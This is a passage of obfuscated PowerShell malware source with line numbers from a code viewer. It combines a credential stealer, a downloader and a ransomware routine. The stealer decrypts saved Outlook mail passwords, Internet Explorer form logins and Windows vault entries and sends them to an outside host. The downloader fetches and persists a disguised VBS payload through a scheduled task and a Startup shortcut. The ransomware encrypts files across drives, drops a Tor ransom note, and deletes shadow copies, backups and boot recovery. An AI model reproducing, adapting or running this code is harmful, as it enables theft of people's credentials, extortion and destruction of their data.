| 679 | try{
| |
| 680 | $pwd = [System.Text.Encoding]::DEFAULT.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($encPwd[1..$encPwd.Length], $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)) -replace "\u0000","" -replace "0x00","" | |
| 681 | }catch{}
| |
| 682 | try {
| |
| 683 | $port = [System.Text.Encoding]::DEFAULT.GetString(($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "IMAP Port")) -replace "0x00","" | |
| 684 | $server += ":" + $port | |
| 685 | }catch{}
| |
| 686 | if($olInfo[$server] -eq $null) { $olInfo[$server] = @(); }
| |
| 687 | $olInfo[$server] += @{ [string]$user = [string]$pwd }
| |
| 688 | $smtpServer = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "SMTP Server"); | |
| 689 | if($smtpServer -ne $null) {
| |
| 690 | $server = $smtpServer; | |
| 691 | try{ $server = [System.Text.Encoding]::DEFAULT.GetString($smtpServer) -replace "\u0000","" -replace "0x00",""; }catch{}
| |
| 692 | if($olInfo[$server] -eq $null) { $olInfo[$server] = @(); }
| |
| 693 | $olInfo[$server] += @{ [string]$user = [string]$pwd }
| |
| 694 | } | |
| 695 | } | |
| 696 | $pop3Server = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "POP3 Server"); | |
| 697 | if($pop3Server -ne $null) {
| |
| 698 | $server = $pop3Server | |
| 699 | try { $server = [System.Text.Encoding]::DEFAULT.GetString($pop3Server) -replace "\u0000","" -replace "0x00",""; }catch {}
| |
| 700 | $userBytes = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "POP3 User") | |
| 701 | $user = ""; | |
| 702 | if($userBytes -ne $null) {
| |
| 703 | $user = $userBytes | |
| 704 | try{ $user = [System.Text.Encoding]::DEFAULT.GetString($userBytes) -replace "\u0000","" -replace "\x00","";}catch {}
| |
| 705 | } | |
| 706 | $encPwd = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "POP3 Password") | |
| 707 | $pwd = ""; | |
| 708 | try {
| |
| 709 | $pwd = [System.Text.Encoding]::DEFAULT.GetString([System.Security.Cryptography.ProtectedData]::Unprotect($encPwd[1..$encPwd.Length], $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)) -replace "\u0000","" -replace "0x00","" | |
| 710 | }catch {}
| |
| 711 | try {
| |
| 712 | $port = [System.Text.Encoding]::DEFAULT.GetString(($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "POP3 Port")) -replace "0x00","" | |
| 713 | $server += ":" + $port | |
| 714 | }catch {}
| |
| 715 | if($olInfo[$server] -eq $null){ $olInfo[$server] = @(); }
| |
| 716 | $olInfo[$server] += @{ [string]$user = [string]$pwd }
| |
| 717 | $smtpServer = ($path | Get-ItemProperty -ErrorAction SilentlyContinue | select -ErrorAction SilentlyContinue -ExpandProperty "SMTP Server"); | |
| 718 | if($smtpServer -ne $null) {
| |
| 719 | $server = $smtpServer; | |
| 720 | try { $server = [System.Text.Encoding]::DEFAULT.GetString($smtpServer) -replace "\u0000","" -replace "0x00","";}catch {}
| |
| 721 | if($olInfo[$server] -eq $null){ $olInfo[$server] = @(); }
| |
| 722 | $olInfo[$server] += @{ [string]$user = [string]$pwd }
| |
| 723 | } | |
| 724 | } | |
| 725 | } | |
| 726 | return @{"logs" = "$global:log"; "error" = $olError; "info" = $olInfo}
| |
| 727 | }catch{
| |
| 728 | hcxcdjsy "crederror=ERR:ol_dump: $($_.Exception.Message)"; | |
| 729 | } | |
| 730 | } | |
| 731 | ||
| 732 | ||
| 733 | function ie_dump(){
| |
| 734 | try{
| |
| 735 | Add-Type -AssemblyName System.Security | |
| 736 | $ieInfo = @{};
| |
| 737 | $ieError = "SUCCESS" | |
| 738 | $shell = New-Object -ComObject Shell.Application | |
| 739 | $hist = $shell.NameSpace(34) | |
| 740 | $folder = $hist.Self; | |
| 741 | if((@($hist.Items()).Count) -le 0) { $ieInfo = "NO HISTORY"; }
| |
| 742 | $hist.Items() | foreach {
| |
| 743 | if ($_.IsFolder) {
| |
| 744 | $siteFolder = $_.GetFolder | |
| 745 | $siteFolder.Items() | foreach {
| |
| 746 | $site = $_; | |
| 747 | if ($site.IsFolder) {
| |
| 748 | $pageFolder = $site.GetFolder; | |
| 749 | $pageFolder.Items() | foreach {
| |
| 750 | $url = $($pageFolder.GetDetailsOf($_,0)) ; | |
| 751 | $enc = [system.Text.Encoding]::UTF8; | |
| 752 | $entropy= $enc.GetBytes($url); | |
| 753 | $url16 = [System.Text.Encoding]::GetEncoding("UTF-16").GetBytes($url + "`0");
| |
| 754 | $sha1 = [System.Security.Cryptography.SHA1]::Create(); | |
| 755 | $hash = $sha1.ComputeHash($url16); | |
| 756 | $hs = "" ; $cs = 0 | |
| 757 | $urlHASH = $($hash | %{ $hs += $_.ToString("x2") ; $cs += $_ }
| |
| 758 | ($hs + ($cs % 256).ToString("x2")).ToUpper())
| |
| 759 | $fromREG = $null; | |
| 760 | $fromREG = $(Get-ItemProperty -PATH "HKCU:\Software\Microsoft\Internet Explorer\IntelliForms\Storage2" -Name $urlHASH -ErrorAction SilentlyContinue | Select-Object -ExpandProperty $urlHASH) | |
| 761 | if($fromREG -ne $null) {
| |
| 762 | try{ $Decrypt = [System.Security.Cryptography.ProtectedData]::Unprotect($fromREG, $url16, [System.Security.Cryptography.DataProtectionScope]::LocalMachine); }catch { Continue }
| |
| 763 | $dwSize = [bitconverter]::ToInt32($Decrypt[0..3], 0) | |
| 764 | $dwSecretInfoSize = [bitconverter]::ToInt32($Decrypt[4..7], 0) | |
| 765 | $dwSecretSize = [bitconverter]::ToInt32($Decrypt[8..11], 0) | |
| 766 | $dwTotalSecrets = [bitconverter]::ToInt32($Decrypt[20..23], 0) / 2 | |
| 767 | if($fromREG.Length -ge ($dwSize + $dwSecretInfoSize +$dwSercertSize)){
| |
| 768 | $url = ([System.Uri]$url).Host | |
| 769 | if($ieInfo[$url] -eq $null) { $ieInfo[$url] = @(); }
| |
| 770 | $allCreds = ([System.Text.Encoding]::Default.GetString($Decrypt[($Decrypt.Length - $dwSecretSize)..($Decrypt.Length)]) -split "\x00\x00") -replace "\x00", ""; | |
| 771 | for($i = 0; $i -lt $dwTotalSecrets; $i++ ) {
| |
| 772 | $user = $allCreds[$i] | |
| 773 | $pwd = $allCreds[$i + 1] | |
| 774 | $ieInfo[$url] += @{ [string]$user = [string]$pwd };
| |
| 775 | } | |
| 776 | } | |
| 777 | } | |
| 778 | } | |
| 779 | } | |
| 780 | } | |
| 781 | } | |
| 782 | } | |
| 783 | ||
| 784 | if(([int32]([string][System.Environment]::OSVersion.Version.Major + [string][System.Environment]::OSVersion.Version.Minor)) -ge 62) {
| |
| 785 | [void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]; | |
| 786 | $vault = New-Object Windows.Security.Credentials.PasswordVault; | |
| 787 | $allCreds = $vault.RetrieveAll() | % { $_.RetrievePassword();$_ }
| |
| 788 | foreach($cred in $allCreds) {
| |
| 789 | $url = ([System.Uri]$cred.Resource).Host | |
| 790 | if($ieInfo[$url] -eq $null) { $ieInfo[$url] = @(); }
| |
| 791 | $ieInfo[$url] += @{ [string]$cred.UserName = [string]$cred.Password }
| |
| 792 | } | |
| 793 | } | |
| 794 | ||
| 795 | return @{"logs" = "$global:log"; "error" = $ieError; "info" = $ieInfo}
| |
| 796 | }catch{
| |
| 797 | hcxcdjsy "crederror=ERR:ie_dump: $($_.Exception.Message)"; | |
| 798 | } | |
| 799 | } | |
| 800 | ||
| 801 | $ffInfo = "" | |
| 802 | $ieInfo = "" | |
| 803 | $olInfo = "" | |
| 804 | $chromeInfo = "" | |
| 805 | ||
| 806 | $allInfo = @{"logs" = "$global:log"; "error" = "SUCCESS"; "info" = @{}}
| |
| 807 | ||
| 808 | mergeInfo $olInfo $allInfo | |
| 809 | mergeInfo $chromeInfo $allInfo | |
| 810 | mergeInfo $ieInfo $allInfo | |
| 811 | mergeInfo $ffInfo $allInfo | |
| 812 | ||
| 813 | Add-Type -AssemblyName System.Web.Extensions; | |
| 814 | $ps_js = new-object system.web.script.serialization.javascriptSerializer; | |
| 815 | ||
| 816 | try{
| |
| 817 | $sendInfo = @{};
| |
| 818 | $allInfo["info"].GetEnumerator() | %{
| |
| 819 | $host1 = ([string]$_.key).toLower(); | |
| 820 | if( $host1 -ne "empty" ){
| |
| 821 | $sendInfo[ $host1 ] = @(); | |
| 822 | foreach($value in $_.value ) {
| |
| 823 | $sendInfo[ $host1 ] += @{ [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( [string]($value.Keys) ) ) = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( [string]($value.Values) ) ) };
| |
| 824 | } | |
| 825 | } | |
| 826 | } | |
| 827 | try{ hcxcdjsy ("cred=" + [uri]::EscapeDataString( $ps_js.Serialize($sendInfo) ) ); }catch{}
| |
| 828 | try{ hcxcdjsy ("crederror=" + $allInfo["error"]); }catch{}
| |
| 829 | }catch{}
| |
| 830 | } | |
| 831 | ||
| 832 | function izdheicaz(){
| |
| 833 | try{
| |
| 834 | $mPaths = @("$env:SystemDrive\Program Files\Mozilla Firefox", "$env:SystemDrive\Program Files\Mozilla Thunderbird", "$env:SystemDrive\Program Files (x86)\Mozilla Firefox", "$env:SystemDrive\Program Files (x86)\Mozilla Thunderbird")
| |
| 835 | $mozillaPath = $null | |
| 836 | foreach($path in $mPaths) {
| |
| 837 | $nssPath = $(Join-Path ([string]$path) ([string]'nss3.dll')) | |
| 838 | if([System.IO.File]::Exists($nssPath)) {
| |
| 839 | $mozillaPath = $path; | |
| 840 | break; | |
| 841 | } | |
| 842 | } | |
| 843 | if($mozillaPath -eq $null) {
| |
| 844 | $result = $stillerBlock.Invoke(); | |
| 845 | }else{
| |
| 846 | $dll = $(Join-Path ([string]$mozillaPath) ([string]'nss3.dll')) | |
| 847 | $is86dll = (Get-ExecutableType -Path $dll) -eq 32 | |
| 848 | $is86 = [IntPtr]::Size -eq 4 | |
| 849 | $result = $null; | |
| 850 | if($is86dll -and $is86) {
| |
| 851 | $result = $stillerBlock.Invoke(); | |
| 852 | }elseif(-Not($is86dll) -and -Not($is86)) {
| |
| 853 | $result = $stillerBlock.Invoke(); | |
| 854 | }elseif($is86dll -and -Not($is86)) {
| |
| 855 | Start-Job -RunAs32 -ScriptBlock $stillerBlock | Out-Null | |
| 856 | $result = (Get-Job | Wait-Job | Receive-Job) | |
| 857 | }elseif(-Not($is86dll) -and $is86) {
| |
| 858 | $result = $stillerBlock.Invoke(); | |
| 859 | } | |
| 860 | } | |
| 861 | return $result; | |
| 862 | }catch{
| |
| 863 | hcxcdjsy "crederror=ERR:chooseArch: $($_.Exception.Message)"; | |
| 864 | } | |
| 865 | } | |
| 866 | 'hcxcdjsy "crederror=start chooseArch"; | |
| 867 | ||
| 868 | izdheicaz | |
| 869 | ' | |
| 870 | ||
| 871 | function ubdfwix(){
| |
| 872 | $hbwxxfy = $env:PUBLIC + "\Libraries" | |
| 873 | if (-not (Test-Path $hbwxxfy)) { md $hbwxxfy; }
| |
| 874 | $ceuzebhjfs = $hbwxxfy + "\WindowsIndexingService.vbs"; | |
| 875 | $wtfajijg = New-Object System.Net.WebClient; | |
| 876 | $wtfajijg.Credentials = [System.Net.CredentialCache]::DefaultCredentials; | |
| 877 | try{
| |
| 878 | $vwtwhsi = Join-Path $hbwxxfy ( get-random -minimum 100 -maximum 999999 ) ; | |
| 879 | $wtfajijg.DownloadString("http://vodo.vodootherapy.com/?need=aegzfej&vid=ln2&") | out-file $vwtwhsi;
| |
| 880 | Start-Sleep -s 5; | |
| 881 | if( ( test-path -path $vwtwhsi ) -and ( ( (Get-Item $vwtwhsi).length/1KB) -gt 5 ) ){
| |
| 882 | Move-Item $vwtwhsi -destination $ceuzebhjfs -Force; | |
| 883 | $iwjbsdawyc = (schtasks.exe /create /TN "WindowsApplicationService" /sc DAILY /st 00:00 /f /RI 12 /du 23:59 /TR $ceuzebhjfs); | |
| 884 | try{
| |
| 885 | $dtzavisig = [Environment]::GetFolderPath('Startup') + '\WindowsApplicationService.lnk';
| |
| 886 | if( -not ( Test-Path $dtzavisig ) ){
| |
| 887 | $tbguxxzu = New-Object -ComObject ('WScript.Shell');
| |
| 888 | $whfwxawa = $tbguxxzu.CreateShortcut( $dtzavisig ); | |
| 889 | $whfwxawa.TargetPath = $ceuzebhjfs; | |
| 890 | $whfwxawa.WorkingDirectory = $hbwxxfy; | |
| 891 | $whfwxawa.WindowStyle = 1; | |
| 892 | $whfwxawa.Description = 'Windows Application Service'; | |
| 893 | $whfwxawa.Save(); | |
| 894 | } | |
| 895 | }catch{};
| |
| 896 | } | |
| 897 | }catch{}
| |
| 898 | }; | |
| 899 | function zwhujicxeu( $tuvgatgfj ){
| |
| 900 | $wtfajijg = New-Object System.Net.WebClient; | |
| 901 | $wtfajijg.Credentials = [System.Net.CredentialCache]::DefaultCredentials; | |
| 902 | $wtfajijg.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
| |
| 903 | $wtfajijg.Encoding = [System.Text.Encoding]::UTF8; | |
| 904 | try{
| |
| 905 | $euccazfiyi = $wtfajijg.UploadString( "http://grat.thegratitudelistproject.com/", ("ver=1018.1&vid=ln2&" + $tuvgatgfj) );
| |
| 906 | if( $euccazfiyi -eq "ok" ){ return $true; }
| |
| 907 | }catch{};
| |
| 908 | return $false; | |
| 909 | }; | |
| 910 | function cuftfxih( $idacjzu ){
| |
| 911 | try { Start-Process -WindowStyle Hidden -FilePath "$env:comspec" -ArgumentList "/c $idacjzu" ; }catch{}
| |
| 912 | }; | |
| 913 | function ihucjja($tteccsetye, $vyuscgjgwy, $dxzseiwd, $uiiubsw ){
| |
| 914 | $zyajievu = new-Object System.Security.Cryptography.RijndaelManaged; | |
| 915 | $yszaffzv = [Text.Encoding]::UTF8.GetBytes($vyuscgjgwy); | |
| 916 | $dxzseiwd = [Text.Encoding]::UTF8.GetBytes($dxzseiwd); | |
| 917 | $zyajievu.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $yszaffzv, $dxzseiwd, "SHA1", 5).GetBytes(32); | |
| 918 | $zyajievu.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($uiiubsw) )[0..15]; | |
| 919 | $zyajievu.Padding="Zeros"; | |
| 920 | $zyajievu.Mode="CBC"; | |
| 921 | $sxtyxfwea = $zyajievu.CreateEncryptor(); | |
| 922 | $avjgdgfceb = new-Object IO.MemoryStream; | |
| 923 | $aeiyjhgc = new-Object Security.Cryptography.CryptoStream $avjgdgfceb,$sxtyxfwea,"Write"; | |
| 924 | $aeiyjhgc.Write($tteccsetye, 0,$tteccsetye.Length); | |
| 925 | $aeiyjhgc.Close(); | |
| 926 | $avjgdgfceb.Close(); | |
| 927 | $zyajievu.Clear(); | |
| 928 | return $avjgdgfceb.ToArray(); | |
| 929 | } | |
| 930 | function yuhchhfjg{
| |
| 931 | [Reflection.Assembly]::LoadWithPartialName('System.Security');
| |
| 932 | '$hbwxxfy = $env:PUBLIC + "\OracleKit"; | |
| 933 | if (-not (Test-Path $hbwxxfy)) { md $hbwxxfy; }
| |
| 934 | $aaftsiixd = $env:temp + "\quanto00.tmp"; | |
| 935 | if ( Test-Path $aaftsiixd ){
| |
| 936 | if ( ( ( NEW-TIMESPAN -Start ((Get-ChildItem $aaftsiixd ).CreationTime) -End (Get-Date)).Minutes ) -gt 30 ){
| |
| 937 | sc -Path $aaftsiixd -Value $(Get-Date); | |
| 938 | }else{
| |
| 939 | exit; | |
| 940 | }; | |
| 941 | }; | |
| 942 | $iscszcjgi = $hbwxxfy + "\w00log03.tmp"; | |
| 943 | if ( Test-Path $iscszcjgi ){
| |
| 944 | $ugabfyx = [string](get-content $iscszcjgi); | |
| 945 | if( $ugabfyx.length -ne 36 ){
| |
| 946 | $ugabfyx=[string][guid]::NewGuid(); | |
| 947 | sc -Path $iscszcjgi -Value $ugabfyx -Force; | |
| 948 | } | |
| 949 | }else{
| |
| 950 | $ugabfyx=[string][guid]::NewGuid(); | |
| 951 | sc -Path $iscszcjgi -Value $ugabfyx -Force; | |
| 952 | } | |
| 953 | gi $iscszcjgi -Force | %{ $_.Attributes = "Hidden" };
| |
| 954 | $igyusbdhef = ([string][guid]::NewGuid()).Substring(0,6);' | |
| 955 | $jiacsfz = (get-random -count 50 -input (48..57 + 65..90 + 97..122) | foreach-object -begin { $pass = $null } -process {$pass += [char]$_} -end {$pass});
| |
| 956 | ||
| 957 | $dxzseiwd="BXCODE hack your system"; | |
| 958 | $uiiubsw="BXCODE INIT"; | |
| 959 | $all = $jiacsfz + ";" + $dxzseiwd + ";" + $uiiubsw; | |
| 960 | [byte[]]$tbvthbevvg = [system.Text.Encoding]::Unicode.GetBytes( $jiacsfz ); | |
| 961 | [byte[]]$xaadidji = [system.Text.Encoding]::Unicode.GetBytes( $dxzseiwd + ";" + $uiiubsw ); | |
| 962 | $uchzbjuz = New-Object System.Security.Cryptography.RSACryptoServiceProvider(1024); | |
| 963 | $uchzbjuz.ImportCspBlob( [system.Convert]::FromBase64String( 'BgIAAACkAABSU0ExAAQAAAEAAQD11Onrt4plHuT75QS2+sC7J05SPYBQkrmT6FbgHLdw7GyJeZzO8yJRiXXIaHy5FGa9XviwqfBowCs7r6zmvHjfjFbN4YjeRIWsSU5JoEcl8j/H1KZJ7VQfqgSo+u0HfDB8nVcWgPOlaNA4VF+PU2p9x8pwa5xb7bR6grkRLG7Unw==' ) ); | |
| 964 | $awutcvu = [system.Convert]::ToBase64String( $uchzbjuz.Encrypt($tbvthbevvg , $false) ); | |
| 965 | $eexcctzv = [system.Convert]::ToBase64String( $uchzbjuz.Encrypt($xaadidji , $false) ); | |
| 966 | ||
| 967 | '$udteguud = zwhujicxeu ("guid=$ugabfyx&ext=$igyusbdhef&ek=$jiacsfz&r1=" + ( [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( ( $awutcvu +";" + $eexcctzv ) ) ) ) +"&");
| |
| 968 | ||
| 969 | if( $udteguud ){
| |
| 970 | sc -Path $aaftsiixd -Value $(Get-Date); | |
| 971 | }else{
| |
| 972 | ri -Path $aaftsiixd -Force; | |
| 973 | exit; | |
| 974 | } | |
| 975 | ' | |
| 976 | $ugabfyx = "d6fcb97c-6676-4abe-9bb2-e6b9937f2e5f" | |
| 977 | $zbwcsagveh = 'PGgxPkFsbCB5b3VyIGZpbGVzIHdhcyBlbmNyeXB0ZWQhPC9oMT4NCiAgPGgyICBzdHlsZT0nY29sb3I6cmVkJz48Yj5ZZXMsIFlvdSBjYW4gRGVjcnlwdCBGaWxlcyBFbmNyeXB0ZWQhISE8L2I+PC9oMj4NCiAgPHA+WW91ciBwZXJzb25hbCBJRDogPGI+JWd1aWQlPC9iPjwvcD4NCiAgPHA+MS4gRG93bmxvYWQgVG9yIGJyb3dzZXIgLSA8YSBocmVmPSdodHRwczovL3d3dy50b3Jwcm9qZWN0Lm9yZy9kb3dubG9hZC8nPmh0dHBzOi8vd3d3LnRvcnByb2plY3Qub3JnL2Rvd25sb2FkLzwvYT48L3A+DQogIDxwPjIuIEluc3RhbGwgVG9yIGJyb3dzZXI8L3A+DQogIDxwPjMuIE9wZW4gVG9yIEJyb3dzZXI8L3A+DQogIDxwPjQuIE9wZW4gbGluayBpbiBUT1IgYnJvd3NlcjogIDxiPmh0dHA6Ly9xdm81c2Q3cDV5YXp3YnJnaW9reTdyZHU0dnNseHJjYWVydWhqcjd6dG4zdDJwaWhwNTZld2xxZC5vbmlvbi8/Z3VpZD0lZ3VpZCU8L2I+PC9wPg0KICA8cD41LiBGb2xsb3cgdGhlIGluc3RydWN0aW9ucyBvbiB0aGlzIHBhZ2U8L3A+DQogIDxoMj4qKioqKiBXYXJuaW5nKioqKio8L2gyPg0KICA8cD5EbyBub3QgcmVuYW1lIGZpbGVzPC9wPg0KICA8cD5EbyBub3QgdHJ5IHRvIGJhY2sgeW91ciBkYXRhIHVzaW5nIHRoaXJkLXBhcnR5IHNvZnR3YXJlLCBpdCBtYXkgY2F1c2UgcGVybWFuZW50IGRhdGEgbG9zcyhJZiB5b3UgZG8gbm90IGJlbGlldmUgdXMsIGFuZCBzdGlsbCB0cnkgdG8gLSBtYWtlIGNvcGllcyBvZiBhbGwgZmlsZXMgc28gdGhhdCB3ZSBjYW4gaGVscCB5b3UgaWYgdGhpcmQtcGFydHkgcw0Kb2Z0d2FyZSBoYXJtcyB0aGVtKTwvcD4NCiAgPHA+QXMgZXZpZGVuY2UsIHdlIGNhbiBmb3IgZnJlZSBiYWNrIG9uZSBmaWxlPC9wPg0KICA8cD5EZWNvZGVycyBvZiBvdGhlciB1c2VycyBpcyBub3Qgc3VpdGFibGUgdG8gYmFjayB5b3VyIGZpbGVzIC0gZW5jcnlwdGlvbiBrZXkgaXMgY3JlYXRlZCBvbiB5b3VyIGNvbXB1dGVyIHdoZW4gdGhlIHByb2dyYW0gaXMgbGF1bmNoZWQgLSBpdCBpcyB1bmlxdWUuPC9wPg0KICA='; | |
| 978 | $zbwcsagveh = ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( $zbwcsagveh ) ) -replace "%guid%", $ugabfyx ); | |
| 979 | $iiyghcgj = 0; | |
| 980 | zwhujicxeu ("guid=$ugabfyx&status=start" );
| |
| 981 | $fifbfsdg = "windows|temp|Recycle|intel|OEM|Program Files|ProgramData"; | |
| 982 | $wjtsjhwx = Get-PSDrive|Where-Object {$_.Free -gt 50000}|Sort-Object -Descending;
| |
| 983 | foreach($tzufvxb in $wjtsjhwx){
| |
| 984 | try {
| |
| 985 | gci $tzufvxb.root -Recurse -Include "*.sql","*.mp4","*.7z","*.rar","*.m4a","*.wma","*.avi","*.wmv","*.csv","*.d3dbsp","*.zip","*.sie","*.sum","*.ibank","*.t13","*.t12","*.qdf","*.gdb","*.tax","*.pkpass","*.bc6","*.bc7","*.bkp","*.qic","*.bkf","*.sidn","*.sidd","*.mddata","*.itl","*.itdb","*.icxs","*.hvpl","*.hplg","*.hkdb","*.mdbackup","*.syncdb","*.gho","*.cas","*.svg","*.map","*.wmo","*.itm","*.sb","*.fos","*.mov","*.vdf","*.ztmp","*.sis","*.sid","*.ncf","*.menu","*.layout","*.dmp","*.blob","*.esm","*.vcf","*.vtf","*.dazip","*.fpk","*.mlx","*.kf","*.iwd","*.vpk","*.tor","*.psk","*.rim","*.w3x","*.fsh","*.ntl","*.arch00","*.lvl","*.snx","*.cfr","*.ff","*.vpp_pc","*.lrf","*.m2","*.mcmeta","*.vfs0","*.mpqge","*.kdb","*.db0","*.dba","*.rofl","*.hkx","*.bar","*.upk","*.das","*.iwi","*.litemod","*.asset","*.forge","*.ltx","*.bsa","*.apk","*.re4","*.sav","*.lbf","*.slm","*.bik","*.epk","*.rgss3a","*.pak","*.big","*wallet","*.wotreplay","*.xxx","*.desc","*.py","*.m3u","*.flv","*.js","*.css","*.rb","*.png","*.jpeg","*.txt","*.p7c","*.p7b","*.p12","*.pfx","*.pem","*.crt","*.cer","*.der","*.x3f","*.srw","*.pef","*.ptx","*.r3d","*.rw2","*.rwl","*.raw","*.raf","*.orf","*.nrw","*.mrwref","*.mef","*.erf","*.kdc","*.dcr","*.cr2","*.crw","*.bay","*.sr2","*.srf","*.arw","*.3fr","*.dng","*.jpe","*.jpg","*.cdr","*.indd","*.ai","*.eps","*.pdf","*.pdd","*.psd","*.dbf","*.mdf","*.wb2","*.rtf","*.wpd","*.dxg","*.xf","*.dwg","*.pst","*.accdb","*.mdb","*.pptm","*.pptx","*.ppt","*.xlk","*.xlsb","*.xlsm","*.xlsx","*.xls","*.wps","*.docm","*.docx","*.doc","*.odb","*.odc","*.odm","*.odp","*.ods","*.odt" -ErrorAction SilentlyContinue | %{
| |
| 986 | try {
| |
| 987 | if( $_.length -ne 0 ){
| |
| 988 | $sdaivgecab=[io.file]::Open($_, 'Open', 'ReadWrite'); | |
| 989 | if ($sdaivgecab.Length -lt "40960"){
| |
| 990 | $yvatxjiw=$sdaivgecab.Length | |
| 991 | }else{
| |
| 992 | $yvatxjiw="40960" | |
| 993 | } | |
| 994 | [byte[]]$cgujiaus = new-object byte[] $yvatxjiw; | |
| 995 | $dzyfgidcg = $sdaivgecab.Read($cgujiaus, 0, $cgujiaus.Length); | |
| 996 | $sdaivgecab.Position='0'; | |
| 997 | $jwczzzcsw = ihucjja $cgujiaus $jiacsfz $dxzseiwd $uiiubsw ; | |
| 998 | $sdaivgecab.Write($jwczzzcsw, 0, $jwczzzcsw.Length); | |
| 999 | $sdaivgecab.Close(); | |
| 1000 | $zjfyibuxbg = $_.Name+".$igyusbdhef"; | |
| 1001 | try{ ren -Path $($_.FullName) -NewName $zjfyibuxbg -Force; }catch{}
| |
| 1002 | $uyjttxawib = $($_.DirectoryName + "\READ_ME_NOW.htm") ; | |
| 1003 | if(!(Test-Path $uyjttxawib)){
| |
| 1004 | try{ sc -Path $uyjttxawib -Value $zbwcsagveh -Force; }catch{}
| |
| 1005 | try{ sc -Path $aaftsiixd -Value $(Get-Date) -Force; }catch{}
| |
| 1006 | } | |
| 1007 | $iiyghcgj++; | |
| 1008 | } | |
| 1009 | }catch{}
| |
| 1010 | } | |
| 1011 | }catch{}
| |
| 1012 | } | |
| 1013 | 'zwhujicxeu ("guid=$ugabfyx&status=done&res=" + $iiyghcgj );'
| |
| 1014 | cuftfxih('bcdedit /set vihyxsgvsc bootstatuspolicy ignoreallfailures');
| |
| 1015 | cuftfxih('bcdedit /set vihyxsgvsc recoveryenabled no');
| |
| 1016 | cuftfxih('wbadmin delete catalog -quiet');
| |
| 1017 | cuftfxih('wbadmin delete systemstatebackup');
| |
| 1018 | cuftfxih('wbadmin delete backup');
| |
| 1019 | cuftfxih('vssadmin delete shadows /all /quiet');
| |
| 1020 | } | |
| 1021 | ubdfwix; | |
| 1022 | yuhchhfjg; |